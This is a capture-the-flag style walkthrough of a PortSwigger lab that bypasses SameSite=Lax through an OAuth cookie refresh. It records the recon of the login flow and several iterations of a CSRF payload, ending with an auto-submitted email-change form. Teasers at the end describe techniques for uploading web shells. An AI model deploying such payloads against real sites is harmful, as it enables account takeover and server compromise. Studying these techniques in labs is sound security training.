On this page
SameSite Lax Bypass via Cookie Refresh
Lab
SameSite Lax bypass via cookie refresh · Practitioner
Solution
Given
This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.
The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter
Useful theory before the lab
If we don't explicitly set SameSite=Lax, Chrome, for example, will apply it by default. But to avoid breaking SSO mechanisms, there is a two-minute window during which the restriction does not apply, and within it we can make a top-level POST request.
Analyzing the task
As usual, we need to change the user's password by exploiting a CSRF vulnerability in this feature of the site. The delivery mechanism is the exploit server. On the lab we can log in using an OAuth mechanism. The title hints at the technique of bypassing SameSite=Lax via cookie refresh and getting a 2-minute window to carry out the attack. One way to trigger a cookie refresh is to use the OAuth mechanisms, if the site uses them.
Recon
Let's start by looking at how this OAuth flow works.
Open the site, click My Account. /social-login opens. Then a login/password form appears. We enter the credentials, confirm — login successful.
OK, let's check what happened under the hood in Burp.
We hit the / route:
Set-Cookie: session=d24QySzpjR1y1S4SgUm3HQwkv62tQyzB; Expires=Wed, 13 May 2026 06:17:25 UTC; Secure; HttpOnly
Then we clicked My account — 302 to /social-login. /social-login returns HTML:
We are now redirecting you to login with social media...
After which this request flies out:
GET /auth?client_id=k6dgsunp2stqsamtsv7dx&redirect_uri=https://0a9500e1049ce82a809f0dda009f005b.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
The interesting parameter here is redirect_uri.
Redirect:
Location: /interaction/LAZ1IMVxqtF29LA_RotP_
Here we get back HTML with the login/password form. We entered the credentials, after which a POST was sent:
POST /interaction/LAZ1IMVxqtF29LA_RotP_/login HTTP/2
Then a redirect:
Location: https://oauth-0ad6005204a6e85480110b7f023c0064.oauth-server.net/auth/LAZ1IMVxqtF29LA_RotP_
Then HTML with a confirmation form. We clicked the Confirm button, a POST was sent:
POST /interaction/LAZ1IMVxqtF29LA_RotP_/confirm
Then a redirect:
Location: https://oauth-0ad6005204a6e85480110b7f023c0064.oauth-server.net/auth/LAZ1IMVxqtF29LA_RotP_
And the final redirect:
Location: https://0a9500e1049ce82a809f0dda009f005b.web-security-academy.net/oauth-callback?code=EfrIA4L3nJzkTP9obKYYhqEYZ7Vamc3760c7p-gKQaf
Here we're told login was successful, and the cookie is set:
Set-Cookie: session=2ZbppT7TSh2deVGAFkixzjPSOn3bBF2C; Expires=Wed, 13 May 2026 06:17:56 UTC; Secure; HttpOnly
OK, let's look at this flow once more. If PortSwigger's docs are to be believed, running the flow again won't prompt for the login and password.
We can try going to the /social-login route. Indeed, /oauth-callback is called immediately.
Now let's also look at how the user's email change works:
POST /my-account/change-email
Session cookie and the new email. No CSRF token required.
Thoughts on the payload
One of the steps is to refresh the cookie using OAuth.
/social-login won't suit us, because we need to know about the refresh after it happens — which means we need to set our own redirect_uri:
https://oauth-0a98007a0429541581ce2d60021d0097.oauth-server.net/auth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https://0a21000b0447543f81912fc400e200e0.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email
Not sure yet whether this approach will work for us, or whether it would be easier to do it through opening the OAuth flow in a new tab. I mean a scheme where on the first page we redirect the user to OAuth, and then we need to catch the redirect on another route and kick off the attack. On the PortSwigger exploit server we can't have multiple endpoints, but in this scheme we'd need two: the first where the user lands, and the second where we send the user back after the cookie refresh. Whereas with the "open in a new tab" variant we just kick off the attack after a short delay?
Ah, no, we could just set redirect_uri to https://exploit-0abd0038045754a381572e0b01ad0028.exploit-server.net/exploit?startAttack=true.
Then a draft payload:
<script>
const url = new URL(document.location.href)
const startAttack = url.searchParams.get('startAttack')
if (startAttack) {
// Launch the attack
// Need to make a POST request to /my-account/change-email
console.log('Time to launch the attack')
} else {
// Redirect to the OAuth flow
// But set our own redirect URL
location = "https://oauth-0a98007a0429541581ce2d60021d0097.oauth-server.net/auth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https://exploit-0abd0038045754a381572e0b01ad0028.exploit-server.net/exploit?startAttack=true?response_type=code&scope=openid%20profile%20email"
}
</script>
oops! something went wrong
error: redirect_uri_mismatch
error_description: redirect_uri did not match any of the client's registered redirect_uris
Hm, turns out we can't substitute the redirect_uri.
Then maybe option 2: the payload will just wait for a click, open OAuth in a separate window, and after about 5 seconds we'll launch the attack.
<script>
window.onclick = () => {
window.open('https://oauth-0a88003704ea253e81a62dea022a00dc.oauth-server.net/auth?client_id=yend8x58elno9xb2nm2oq&redirect_uri=https://0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email)');
}
setTimeout(() => {
fetch('https://0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net/my-account/change-email', { method: 'POST', body: 'email=yes@no.ru' })
}, 5000)
</script>
Nope, 500 — Server Error.
Since we don't actually need to change redirect_uri right now, let's just leave a redirect to /social-login:
<script>
window.onclick = () => {
window.open('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/social-login');
setTimeout(() => {
fetch('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/my-account/change-email', { method: 'POST', body: new URLSearchParams({ email: 'ne1@n.ru' }) })
}, 20000)
}
</script>
The cookie does get refreshed, but for some reason fetch doesn't go through — it returns a 302. Redirect to /social-login.
Oh, maybe we forgot to add credentials: 'include'?
<script>
window.onclick = () => {
window.open('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/social-login');
setTimeout(() => {
fetch('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/my-account/change-email', {
method: 'POST',
body: new URLSearchParams({ email: 'ne1@n.ru' }),
credentials: 'include'
})
}, 20000)
}
</script>
Hmm, and the cookie doesn't seem to be attached either. And on top of that, a CORS error:
Access to fetch at 'https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/my-account/change-email' from origin 'https://exploit-0ad7003e03c2613c81b57ab701040017.exploit-server.net' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'.
Looks like I missed an important point — to send the cookie we need a POST top-level navigation; a regular fetch() won't do, we need a form submit. Let's iterate on the payload. We'll take the email-change form from the lab page and, 15 seconds after opening the cookie-refresh window, submit the change-email request.
<form class="login-form" name="change-email-form" action="https://0a100008031934bc80105d4a0034009e.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="xxx@yyy.ru">
<button class="button" type="submit">Update email</button>
</form>
<script>
window.onclick = () => {
window.open('https://0a100008031934bc80105d4a0034009e.web-security-academy.net/social-login');
setTimeout(() => {
document.forms[0].submit();
}, 15000)
}
</script>
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.